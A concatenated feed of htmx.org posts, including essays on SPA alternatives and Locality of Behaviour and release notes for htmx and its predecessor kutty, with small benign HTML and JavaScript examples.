<p>Finding a new codebase “complex” is <em>not</em> an excuse for tearing everything apart or aggressive refactoring. We must always bear in mind <a rel="noopener" target="_blank" href="https://fs.blog/2020/03/chestertons-fence/">Chesterton’s Fence</a>.</p>
<p>If an application is functioning well (or even reasonably) then we should assume that the complexity budget was well
(or at least reasonably) managed.</p>
<p>And we must always remember that, with unfortunate frequency, big attempts at addressing complexity in existing, large
applications often fail or, sadly, make things worse.</p>
SPA Alternative2020-10-29T00:00:00+00:002022-02-06T00:00:00+00:00Unknownhttps://htmx.org/essays/spa-alternative/<p>Recently <a rel="noopener" target="_blank" href="https://macwright.com">Tom MacWright</a> has written a few posts on Single Page Applications and their discontents:</p>
<ul>
<li><a rel="noopener" target="_blank" href="https://macwright.com/2020/05/10/spa-fatigue.html">Second-guessing the modern web</a></li>
<li><a rel="noopener" target="_blank" href="https://macwright.com/2020/10/28/if-not-spas.html">If not SPAs, What?</a></li>
</ul>
<blockquote>
<p>The emerging norm for web development is to build a React single-page application, with server rendering. The two key
elements of this architecture are something like: </p>
<ol>
<li>The main UI is built & updated in JavaScript using React or something similar.</li>
<li>The backend is an API that that application makes requests against. </li>
</ol>
<p>This idea has really swept the internet. It started with a few major popular websites and has crept into corners
like marketing sites and blogs.</p>
</blockquote>
<p>In these two articles Tom lays out the problem associated with the React/SPA everywhere mindset. If I can summarize
them in one sentence: SPA frameworks tend to be complex, and you don’t get a lot of benefit for all that
complexity in many cases.</p>
<h2 id="an-alternative"><a class="zola-anchor" href="#an-alternative" aria-label="Anchor link for: an-alternative">#</a>An Alternative</h2>
<p>Tom outlines a few alternatives to the SPA approach in the second article and, I’m happy to say, mentions htmx. However,
he classifies htmx (as well as <a rel="noopener" target="_blank" href="https://stimulusjs.org/">Stimulus</a> and <a rel="noopener" target="_blank" href="https://github.com/alpinejs/alpine/">Alpine.js</a>)
as “progressive-enhancement” libraries. This is a good description, but, at least in the case of htmx, I think there
is a better term to help describe this style of library: <em>HTML-Centric</em> (or, perhaps, <em>Hypertext-Centric</em>)</p>
<h3 id="html-centric-development"><a class="zola-anchor" href="#html-centric-development" aria-label="Anchor link for: html-centric-development">#</a>HTML-Centric Development</h3>
<p>In HTML-Centric Development, rather than being an afterthought, HTML is embraced as the primary medium of application
development. This is in contrast to most SPA frameworks, where a client-side model & the javascript that manipulates
it is the central focus.</p>
<p>HTML-Centric Development builds on the original model of the web, as outlined in
<a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Roy Fielding’s PhD dissertation</a>, describing the web
architecture. In particular, by embracing HTML as a hypertext, you get the benefits of
<a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">REST and HATEOAS</a>, all without needing to
be an expert in either of those topics.</p>
<p>(Recall, Roy was <em>describing</em> the web architecture, so the original web was
largely REST-ful, without any particular effort on the part of the original participants)</p>
<p>By picking HTML-Centric Development, you accrue many benefits:</p>
<ul>
<li>A simpler front end allows you to save your <a href="https://htmx.org/essays/complexity-budget/">complexity budget</a> for the back end functionality
that differentiates your application from others.</li>
<li>You do not face pressure to adopt javascript on the back end “since the front end is written in javascript”. This allows
you to use the best backend framework for your particular application.</li>
<li>With a simpler front end, a “full stack” developer can more easily manage and optimize front-to-back optimization in
your application, leading to much better system tuning</li>
<li>Your web application is going to have HTML in it anyway, so by maximizing its utility you are boosting the power of
an existing component, rather than adding another layer of complexity between the end user and your application code.</li>
<li>The stateless network model of the web has proven very resilient and easy to develop for. Many mature and battle-tested
technologies and techniques (e.g. <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">caching</a>) exist for
building HTML-based applications.</li>
</ul>
<h3 id="html-the-bad-parts"><a class="zola-anchor" href="#html-the-bad-parts" aria-label="Anchor link for: html-the-bad-parts">#</a>HTML: The Bad Parts</h3>
<p>With all these benefits of the HTML-Centric model, one may wonder why it has been abandoned (and is often mocked) by
many web developers. At a high level, the answer is: </p>
<p><em>HTML-Centric applications have historically offered a limited
amount of interactivity when compared with javascript-based applications</em>.</p>
<p>This is in large part because HTML is a limited hypertext. In particular:</p>
<ul>
<li>Only <code><a></code> and <code><form></code> can make HTTP requests</li>
<li>Only <code>click</code> & <code>submit</code> events can trigger them</li>
<li>Only GET & POST <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP Methods</a> are widely available</li>
<li>A request must replace the entire screen, leading to a clunkly and sometimes jarring user experience</li>
</ul>
<p>Of course, none of the constraints are inherent in the concept of a hypertext, and the goal of <a href="https://htmx.org/">htmx</a>
is to remove each of them.</p>
<p>By removing these constraints and completing HTML as a fully-functional and high-powered hypertext, HTML-Centric
applications can compete with SPAs in many application domains, while at the same time accruing the technical
and complexity benefits mentioned above.</p>
<h2 id="being-brave-technically"><a class="zola-anchor" href="#being-brave-technically" aria-label="Anchor link for: being-brave-technically">#</a>Being Brave, Technically</h2>
<p>Tom closes his first article with this:</p>
<blockquote>
<p>What if everyone’s wrong? We’ve been wrong before.</p>
</blockquote>
<p>Web development has gone down blind alleys quite a few times: GWT, Java Server Faces, Angular 1, FlatUI, etc.<br />
During the height of the hype cycle around each of these technologies, it was difficult to go against the grain. It is
particularly difficult to do in the technology world , where the being left behind technically is not only a threat to
our ego, but also to our employment.</p>
<blockquote>
<p>“No One Ever Got Fired For Using React”</p>
</blockquote>
<p>is today’s </p>
<blockquote>
<p>“No One Ever Got Fired For Buying IBM”</p>
</blockquote>
<p>That’s a reality that we must accept, even if we feel that React/etc. aren’t appropriate for many (or even most) web
applications being built today.</p>
<p>However, we are starting to see a reconsideration of the SPA approach. With a bit of technical bravery, a willingness
to stand against the crowd, you may be able to make your application much less complex, and focus your development
efforts on what your application does, rather than on how it does it.</p>
<p>From the <a rel="noopener" target="_blank" href="https://twitter.com/htmx_org/status/1306234341056344065">htmx developer’s starter kit</a>:</p>
<p><img src="/img/what_if.png" alt="What if?" /></p>
htmx 0.3.0 has been released!2020-10-27T00:00:00+00:002020-10-27T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-10-27-htmx-0-3-0-is-released/<h2 id="htmx-0-3-0-release">htmx 0.3.0 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.3.0/">0.3 release</a> of htmx. Due to a big testing
push I’m happy to say that htmx now has <strong>98.4%</strong> test coverage.</p>
<p>That said, this release involves some major surgery on trigger parsing, in particular, so please try it out and let
me know if you see anything funny.</p>
<h3 id="changes">Changes</h3>
<h4 id="new-features">New Features</h4>
<ul>
<li><code>hx-trigger</code> parsing has been rewritten and now supports <a href="https://htmx.org/docs/#trigger-filters">trigger filters</a> to filter
events based on arbitrary javascript expressions</li>
<li>htmx now supports two additional response headers <code>HX-Trigger-After-Swap</code> and <code>HX-Trigger-After-Settle</code> allowing
an event to be triggered after a given life cycle event (instead of before the swap)</li>
<li>The <code>requestConfig</code> is now passed out to events surrounding the AJAX life cycle</li>
<li>Evaluate <code><script></code> tags as javascript when no language is defined on them</li>
<li>A new <a href="https://htmx.org/extensions/event-header/"><code>event-header</code></a> extension, which will include a serialized JSON representation of
the triggering event in requests</li>
</ul>
<h4 id="bug-fixes">Bug Fixes</h4>
<ul>
<li>Ignore non-elements when triggering post-swap events (avoid multiple event triggers when content exists)</li>
<li>Catch errors when attempting to save local history so site continues to function</li>
</ul>
<p>Enjoy!</p>
htmx 0.2.0 has been released!2020-09-30T00:00:00+00:002020-09-30T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-9-30-htmx-0-2-0-is-released/<h2 id="htmx-0-2-0-release">htmx 0.2.0 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.2.0/">0.2 release</a> of htmx</p>
<h3 id="changes">Changes</h3>
<h4 id="new-features">New Features</h4>
<ul>
<li>AJAX file upload is <a href="https://htmx.org/docs/#files">now supported</a></li>
<li>The HTML validation API is <a href="https://htmx.org/docs/#validation">now respected</a></li>
</ul>
<h4 id="bug-fixes">Bug Fixes</h4>
<ul>
<li>A selected element no longer breaks response processing in some rare cases</li>
<li>HTMX-related classes (e.g. <code>.htmx-request</code>) are stripped from content before saving for history</li>
</ul>
<p>Enjoy!</p>
htmx 0.1.2 has been released!2020-09-18T00:00:00+00:002020-09-18T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-9-18-htmx-0-1-0-is-released/<h2 id="htmx-0-1-2-release">htmx 0.1.2 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.1.2/">0.1.2 release</a> of htmx as well as the first non-alpha hyperscript
release <a rel="noopener" target="_blank" href="https://unpkg.com/hyperscript.org@0.0.2">0.0.2 hyperscript</a>.</p>
<h3 id="changes">Changes</h3>
<h4 id="breaking-changes">Breaking Changes</h4>
<ul>
<li>The SSE attribute <a href="https://htmx.org/attributes/hx-sse/"><code>hx-sse</code></a> and the Web Sockets attribute <a href="https://htmx.org/attributes/hx-ws/"><code>hx-ws</code></a> have changed syntax to now use colon separators: <code>hx-sse='connect:/chat swap:message'</code></li>
<li>Hyperscript no longer requires a <code>_hyperscript.start()</code> call to initialize.</li>
</ul>
<h4 id="new-features">New Features</h4>
<ul>
<li>The SSE attribute <a href="https://htmx.org/attributes/hx-sse/"><code>hx-sse</code></a> allows for swapping content directly on an event, in addition to triggering an htmx element,
with the new <code>swap:<event name></code> syntax.</li>
<li><a href="https://htmx.org/attributes/hx-target/"><code>hx-target</code></a> now supports a <code>find</code> syntax to find elements below the element by a CSS selector</li>
<li>htmx plays better with deferred loading and many package managers</li>
<li>All htmx events are dispatched in both camelCase as well as kebab-case, for better compatibility with AlpineJS and other frameworks. (e.g. <code>htmx:afterOnLoad</code> will also be triggered as
<code>htmx:after-on-load</code>)</li>
</ul>
<h4 id="bug-fixes">Bug Fixes</h4>
<ul>
<li>The synthetic <code>revealed</code> trigger event is much less of a CPU hog</li>
<li>Multi-select elements now send all values</li>
<li>Exotic element IDs do not break DOM processing</li>
<li>Exotic attribute values do not break the settling phase</li>
<li>Hyperscript now supports <code>$</code> and <code>_</code> in function calls</li>
<li>Hyperscript now supports empty parameter lists</li>
</ul>
<p>Enjoy!</p>
htmx 0.0.7 has been released!2020-06-30T00:00:00+00:002020-06-30T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-6-30-htmx-0-0-7-is-released/<h2 id="htmx-0-0-7-release">htmx 0.0.7 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.0.7/">0.0.7 release</a> of htmx.</p>
<h3 id="changes">Changes</h3>
<h4 id="breaking-changes">Breaking Changes</h4>
<ul>
<li>All events fired by htmx have changed name, from <code><event name>.htmx</code> (the old jQuery style) to <code>htmx:<event name></code></li>
</ul>
<h4 id="new-features">New Features</h4>
<ul>
<li>The <a href="https://htmx.org/attributes/hx-swap/"><code>hx-swap</code></a> attribute now supports two new modifiers:
<ul>
<li><code>scroll</code> - allows you to scroll the target to the <code>top</code> or <code>bottom</code></li>
<li><code>view</code> - allows you to scroll the <code>top</code> or <code>bottom</code> of the target into view</li>
</ul>
</li>
<li>The <a href="https://htmx.org/attributes/hx-push-url/"><code>hx-push-url</code></a> attribute now can optionally take a URL to push, in addition to <code>true</code> and <code>false</code></li>
<li>Added the <a href="https://htmx.org/attributes/hx-vars/"><code>hx-vars</code></a> attribute that allows you to dynamically add to the parameters that will be submitted with a request</li>
<li>You can now sponsor htmx development via <a rel="noopener" target="_blank" href="https://github.com/sponsors/bigskysoftware">GitHub Sponsors</a>
<ul>
<li>A big thanks to our first sponsors!
<ul>
<li><a rel="noopener" target="_blank" href="https://github.com/putyourlightson">https://github.com/putyourlightson</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/simosentissi">https://github.com/simosentissi</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/jreviews">https://github.com/jreviews</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<p>Enjoy!</p>
htmx 0.0.8 has been released!2020-06-30T00:00:00+00:002020-06-30T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-7-8-htmx-0-0-8-is-released/<h2 id="htmx-0-0-8-release">htmx 0.0.8 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.0.8/">0.0.8 release</a> of htmx.</p>
<h3 id="changes">Changes</h3>
<h4 id="breaking-changes">Breaking Changes</h4>
<ul>
<li>The <code>view</code> modifier on <code>hx-swap</code> has been renamed to <code>show</code>: <code>hx-swap='innerHTML show:top'</code></li>
</ul>
<h4 id="new-features">New Features</h4>
<ul>
<li>A bug fix on history when using local anchors: <code><a href="#example">...</code></li>
<li>A bug fix for the aforementioned <code>show</code> functionality</li>
</ul>
<p>Enjoy!</p>
htmx 0.0.6 has been released!2020-06-20T00:00:00+00:002020-06-20T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-6-20-htmx-0-0-6-is-released/<h2 id="htmx-0-0-6-release">htmx 0.0.6 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.0.6/">0.0.6 release</a> of htmx.</p>
<h3 id="changes">Changes</h3>
<h4 id="hyperscript">_hyperscript</h4>
<p>With this release comes the release of a new sibling project:</p>
<p><a rel="noopener" target="_blank" href="https://hyperscript.org">https://hyperscript.org</a></p>
<p>hyperscript is a scripting language designed to be embedded directly in HTML and inspired by
<a rel="noopener" target="_blank" href="https://hypercard.org/HyperTalk%20Reference%202.4.pdf">HyperTalk</a>, the programming language of HyperCard.</p>
<h4 id="breaking-changes">Breaking Changes</h4>
<ul>
<li>Custom request/response headers no longer start with the <code>X-</code> prefix, which is no longer recommended</li>
<li>The <code>X-HTTP-Method-Override</code> is now part of the <code>method-override</code> extension, and AJAX requests use the actual
http method specified for requests.</li>
<li>Extensions that handle swaps must explicitly return an array of elements to process after the swap</li>
<li>The <code>hx-error-url</code> attribute was removed in favor of hyperscript</li>
</ul>
<h4 id="other-changes">Other Changes</h4>
<ul>
<li>empty verb attributes are now allowed and follow the anchor tag semantics (e.g. <code><div hx-get></div></code>)</li>
<li>nunjuks inline rendering is now supported in the <code>client-side-templates</code> extension</li>
<li>the new <code>ajax-header</code> extension includes the <code>X-Requested-With</code> header</li>
<li>bad JSON is now handled more gracefully</li>
<li><code>hx-swap="none"</code> will cause no swap to take place <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/89">https://github.com/bigskysoftware/htmx/issues/89</a></li>
<li><code>hx-trigger</code> now supports a <code>throttle</code> modifier <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/issues/88">https://github.com/bigskysoftware/htmx/issues/88</a></li>
<li>the focused element is preserved if possible after a replacement</li>
<li>perf improvements for large DOM trees with sparse <code>hx-</code> annotations</li>
<li>general bug fixes</li>
</ul>
<p>Enjoy!</p>
Locality of Behaviour (LoB)2020-05-29T00:00:00+00:002023-01-20T00:00:00+00:00Unknownhttps://htmx.org/essays/locality-of-behaviour/<blockquote>
<p>“The primary feature for easy maintenance is locality: Locality is that characteristic of source code that enables a
programmer to understand that source by looking at only a small portion of it.” – <a rel="noopener" target="_blank" href="https://www.dreamsongs.com/Files/PatternsOfSoftware.pdf">Richard Gabriel</a></p>
</blockquote>
<h2 id="the-lob-principle"><a class="zola-anchor" href="#the-lob-principle" aria-label="Anchor link for: the-lob-principle">#</a>The LoB Principle</h2>
<p>Locality of Behaviour is the principle that: </p>
<blockquote>
<p>The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code</p>
</blockquote>
<h2 id="discussion"><a class="zola-anchor" href="#discussion" aria-label="Anchor link for: discussion">#</a>Discussion</h2>
<p>The LoB principle is a simple prescriptive formulation of the quoted statement from <a rel="noopener" target="_blank" href="https://www.dreamsongs.com">Richard Gabriel</a>.
In as much as it is possible, and in balance with other concerns, developers should strive to make the behaviour of
a code element obvious on inspection.</p>
<p>Consider two different implementations of an AJAX request in HTML, the first in <a href="https://htmx.org/">htmx</a>:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/clicked"</span><span>>Click Me</</span><span style="color:#e06c75;">button</span><span>>
</span></code></pre>
<p>and the second in <a rel="noopener" target="_blank" href="https://jquery.com/">jQuery</a>:</p>
<pre data-lang="javascript" style="background-color:#1f2329;color:#abb2bf;" class="language-javascript "><code class="language-javascript" data-lang="javascript"><span> </span><span style="color:#61afef;">$</span><span>(</span><span style="color:#98c379;">"#d1"</span><span>).</span><span style="color:#61afef;">on</span><span>(</span><span style="color:#98c379;">"click"</span><span>, </span><span style="color:#c678dd;">function</span><span>(){
</span><span> </span><span style="color:#e06c75;">$</span><span>.</span><span style="color:#61afef;">ajax</span><span>({
</span><span> </span><span style="font-style:italic;color:#848da1;">/* AJAX options... */
</span><span> });
</span><span> });
</span></code></pre>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">id</span><span>=</span><span style="color:#98c379;">"d1"</span><span>>Click Me</</span><span style="color:#e06c75;">button</span><span>>
</span></code></pre>
<p>In the former, the behaviour of the <code>button</code> element is obvious on inspection, satisfying the LoB principle.</p>
<p>In the latter, the behaviour of the <code>button</code> element is spread out amongst multiple files. It is difficult to know
exactly what the button does without a total knowledge of the code base. This “spooky action at a distance” is a source
of maintenance issues and stands in the way of developers understanding of the code base.</p>
<p>The htmx example demonstrates good Locality of Behaviour, while the jQuery example has poor Locality of Behaviour.</p>
<h3 id="surfacing-behaviour-vs-inlining-implementation"><a class="zola-anchor" href="#surfacing-behaviour-vs-inlining-implementation" aria-label="Anchor link for: surfacing-behaviour-vs-inlining-implementation">#</a>Surfacing Behaviour vs. Inlining Implementation</h3>
<p>A common objection to Locality of Behaviour is that it is inlining implementation details within a code unit, making the
code unit less abstract and more brittle. However, it is important to make the distinction between inlining the
<em>implementation</em> of some behaviour and inlining the invocation (or declaration) of some behaviour.</p>
<p>Consider functions in most programming languages: there is a distinction between the declaration of function and its
use at call sites. A good function abstracts away its implementation details, but is also invoked in an obvious manner,
without any spooky action at a distance.</p>
<p>Increasing the obviousness of the behaviour of an element is, ceteris paribus, a good thing, but it falls to both end-developers
and especially framework developers to make LoB both as easy and as conceptually clean as possible.</p>
<h3 id="conflict-with-other-development-principles"><a class="zola-anchor" href="#conflict-with-other-development-principles" aria-label="Anchor link for: conflict-with-other-development-principles">#</a>Conflict With Other Development Principles</h3>
<p>The LoB will often conflict with other software development principles. Two important ones
are:</p>
<ul>
<li>
<p><a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY - Don’t Repeat Yourself</a></p>
<p>Software developers typically strive to avoid redundancy in their code or data. This has come to be called “Staying DRY”,
i.e. Don’t Repeat Yourself. Like other software design principles this, on its own, is a good thing. htmx, for example,
allows you to place many attributes on parent elements in a DOM and avoid repeating these attributes on children. This is a
violation of LoB, in favor of DRY, and such tradeoffs need to be made judiciously by developers.</p>
<p>Note that the further behaviour gets from the code unit it effects, the more severe the violation of LoB. If it is
within a few lines of the code unit, this is less serious than if it is a page away, which is less serious than if
it is in a separate file entirely.</p>
<p>There is no hard and fast rule, but rather subjective tradeoffs that must be made as software developers.</p>
</li>
<li>
<p><a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Separation_of_concerns">SoC - Separation Of Concerns</a></p>
<p>Separation of concerns a design principle for separating a computer program into distinct sections such that each
section addresses a separate concern. A canonical example of this is splitting HTML, CSS, and Javascript. Again, on its own and
in isolation this may, indeed, be a good thing. Inlining styles <a rel="noopener" target="_blank" href="https://tailwindcss.com/">has become more prevalent lately</a>,
but there are still strong arguments in favor of SoC in this regard.</p>
<p>Note that SoC is, however, in conflict with LoB. By tweaking a CSS file the look and, to an extent, behaviour of an
element can change dramatically, and it is not obvious where this dramatic change came from. Tools can help to an extent
here, but there is still “spooky action at a distance” going on.</p>
<p>Again, this isn’t to condemn SoC wholesale, just to say that there are subjective tradeoffs that must be made when
considering how to structure your code. The fact that inline styles have become more prevalent as of late is an
indication that SoC is losing some support amongst developers.</p>
</li>
</ul>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>LoB is a subjective software design principle that can help make a code base more humane and maintainable. It must be traded
off against other design principles and be considered in terms of the limitations of the system a code unit is
written in, but, as much as is it is practical, adherence to this principle will increase your software maintainability,
quality and sustainability.</p>
htmx 0.0.4 has been released!2020-05-24T00:00:00+00:002020-05-24T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-5-24-htmx-0-0-4-is-released/<h2 id="htmx-0-0-4-release">htmx 0.0.4 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.0.4/">0.0.4 release</a> of htmx, this time with no
project renaming.</p>
<h4 id="changes">Changes</h4>
<p>This one had a lot of code clean up along with two major features:</p>
<h5 id="extensions">Extensions</h5>
<p>First off, htmx now has a proper <a href="https://htmx.org/extensions/">extensions</a> mechanism, allowing us to create extensions that plug
in to the htmx life cycle and provide functionality that isn’t in the core library. Some extensions that have shipped
with this release and that you might find useful include:</p>
<ul>
<li><a href="https://htmx.org/extensions/morphdom-swap/"><code>morphdom-swap</code></a> - allows you to use the morphdom library for swapping in new content</li>
<li><a href="https://htmx.org/extensions/class-tools/"><code>class-tools</code></a> - replaces the retired <code>hx-classes</code> attribute</li>
<li><a href="https://htmx.org/extensions/json-enc/"><code>json-enc</code></a> - allows you to encode AJAX request bodies in JSON</li>
</ul>
<p>See the full list of included <a href="https://htmx.org/extensions/#included">extensions here</a>.</p>
<p>This extension mechanism will allow us to introduce useful HTML-oriented features while keeping the core htmx code
focused on loading content.</p>
<h5 id="web-socket-reworked-server-sent-events-support">Web Socket & Reworked Server Sent Events Support</h5>
<p>htmx now has experimental support for <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Web Sockets</a>
with the <a href="https://htmx.org/attributes/hx-ws/">hx-ws</a> attribute:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-ws</span><span>=</span><span style="color:#98c379;">"connect wss:/chatroom"</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">id</span><span>=</span><span style="color:#98c379;">"chat_room"</span><span>>
</span><span> ...
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">hx-ws</span><span>=</span><span style="color:#98c379;">"send"</span><span>>
</span><span> <</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">"chat_message"</span><span>>
</span><span> </</span><span style="color:#e06c75;">form</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>Additionally, the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Server Sent Event</a>
support attribute was renamed to <a href="https://htmx.org/attributes/hx-sse/">hx-sse</a> and the syntax was standardized with the new web socket support
syntax:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-sse</span><span>=</span><span style="color:#98c379;">"connect /event_stream"</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/chatroom" </span><span style="color:#d19a66;">hx-trigger</span><span>=</span><span style="color:#98c379;">"sse:chatter"</span><span>>
</span><span> ...
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>There were also many, many bug fixes, many of them contributed by other developers. So a big thank you to everyone
who helped!</p>
<p>Enjoy!</p>
kutty, er, htmx 0.0.3 has been released!2020-05-17T00:00:00+00:002020-05-17T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-5-17-kutty-er-htmx-0-0-3-is-released/<h2 id="htmx-0-0-3-release">htmx 0.0.3 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@0.0.3/">0.0.3 release</a> of kutty, er, htmx, the successor
to <a rel="noopener" target="_blank" href="http://intercoolerjs.org">intercooler.js</a>!</p>
<h4 id="why-not-kutty-0-0-2">Why not kutty 0.0.2?</h4>
<p>One of the reasons you put a <code>0.0.1</code> release out there is to see what happens. And one of the things that
happened was that multiple people made comments on how the word “kutty” meant different things in different languages, including
“small”, “child” and a very unfortunate meaning in dutch slang. I had originally
<a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/kutty/commit/b003ccadf855fe49a40ca0b86ca3c9e16448d33c#diff-b9cfc7f2cdf78a7f4b91a753d10865a2">called the project <code>htmx</code></a>
(html extensions) and went back and forth between the two names for a bit.</p>
<p>It seems like, upon contact with reality, <code>htmx</code> is a better long term name for the project. It’s also
a lot easier to search twitter & reddit for that term.</p>
<p>It’s a simple fix for anyone who actually used <code>0.0.1</code>:</p>
<ul>
<li>attributes go from <code>kt-</code> to <code>hx-</code> (their original prefix)</li>
<li>request headers go from <code>X-KT-</code> to <code>X-HX-</code></li>
<li><code>kutty</code> goes to <code>htmx</code> for event names, etc.</li>
</ul>
<h4 id="changes">Changes</h4>
<p>OK, so besides the big re-rename, what changed?</p>
<ul>
<li>A bug fix for the <code>hx-prompt</code> attribute</li>
<li>A bug fix for multiple <code>hx-swap-oob</code> attributes</li>
<li>Moved the default CSS indicator injection into its own sheet to avoid breaking</li>
<li>Added the <code>htmx.config.includeIndicatorStyles</code> configuration option so people can opt out of injecting the indicator CSS</li>
</ul>
<p>Cheers!</p>
kutty 0.0.1 has been released!2020-05-15T00:00:00+00:002020-05-15T00:00:00+00:00Unknownhttps://htmx.org/posts/2020-5-15-kutty-0-0-1-is-released/<h2 id="kutty-0-0-1-release">Kutty 0.0.1 Release</h2>
<p>I’m pleased to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/kutty.org@0.0.1/">0.0.1 release</a> of kutty, the successor
to <a rel="noopener" target="_blank" href="http://intercoolerjs.org">intercooler.js</a>!</p>
<p>Like intercooler, kutty brings features of modern browsers that normally require javascript (AJAX, CSS transitions, etc.)
directly into HTML.</p>
<h4 id="why-the-rename">Why the rename?</h4>
<p>I chose to rename the project for a few reasons:</p>
<ul>
<li>I wanted the freedom to clean up mistakes and remove ideas that hadn’t worked out as cleanly as I wanted</li>
<li>The JS in <code>intercooler.js</code> implied a javascript-orientation. The more I developed intercooler the more I realized
that it was really about enhancing (completing?) HTML, not javascript. This project doesn’t really compete with tools
like angular, vue or react, it’s something different, so I wanted a different name.</li>
<li><code>kutty</code> is short and memorable, <code>kutty.org</code> was available, and it has consonance with “cuttlefish” which is the
official cephalopod of kutty development.</li>
</ul>
<h4 id="so-what-s-new-different-about-kutty-vs-intercooler">So what’s new & different about kutty vs. intercooler?</h4>
<ul>
<li>First and foremost, kutty has <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/kutty/blob/master/package.json"><em>no external dependencies</em></a> !
No more dragging in jQuery just to do HTML-oriented web development. It has been tested with IE11.</li>
<li>It follows conventional naming and behavior standards more closely than intercooler does (e.g. <a href="/attributes/kt-swap"><code>innerHTML</code></a> and <a href="/attributes/kt-swap"><code>outerHTML</code></a>)</li>
<li>Kutty isn’t the kitchen-sink-of-features that intercooler is. Kutty is more focused on the features that are amenable
to a declarative approache and less on replacing javascript entirely.</li>
<li>Kutty has a better swapping mechanism which introduces a settling step, which allows for nice CSS transitions
with minimal complexity. Check out the <a href="https://htmx.org/examples/progress-bar/">progress bar</a> to see how this works: by returning
HTML in the old web 1.0 style, you can get nice, smooth CSS-based transitions. Fun!</li>
</ul>
<p>Beyond that, basic kutty and intercooler code will look a lot a like:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">kt-post</span><span>=</span><span style="color:#98c379;">"/clicked"</span><span>>Click Me!</</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>This will issue an AJAX post to <code>/clicked</code>, in a manner familiar to anyone who has used intercooler.</p>
<h4 id="what-will-happen-to-intercooler">What will happen to intercooler?</h4>
<p>I’m planning on maintaining both projects. Intercooler is a slow moving project anyway, and the code is stable and
works fine for people who want to go the jQuery route. I have a large application written with it and I’m not planning
on moving that to kutty any time soon.</p>
<h4 id="how-hard-will-a-port-to-kutty-from-intercooler-be">How hard will a port to kutty from intercooler be?</h4>
<p>Depends a lot on how into the weeds you got with intercooler. The core attributes are pretty close to one another
but if you were using <code>ic-action</code> or event handlers extensively it will be a project.</p>
<h4 id="ok-so-what-should-i-do">OK, so what should I do?</h4>
<p>The usual:</p>
<ul>
<li>read the <a href="https://htmx.org/docs/">docs</a></li>
<li>star the <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/kutty">repo</a></li>
<li>tell your friends</li>
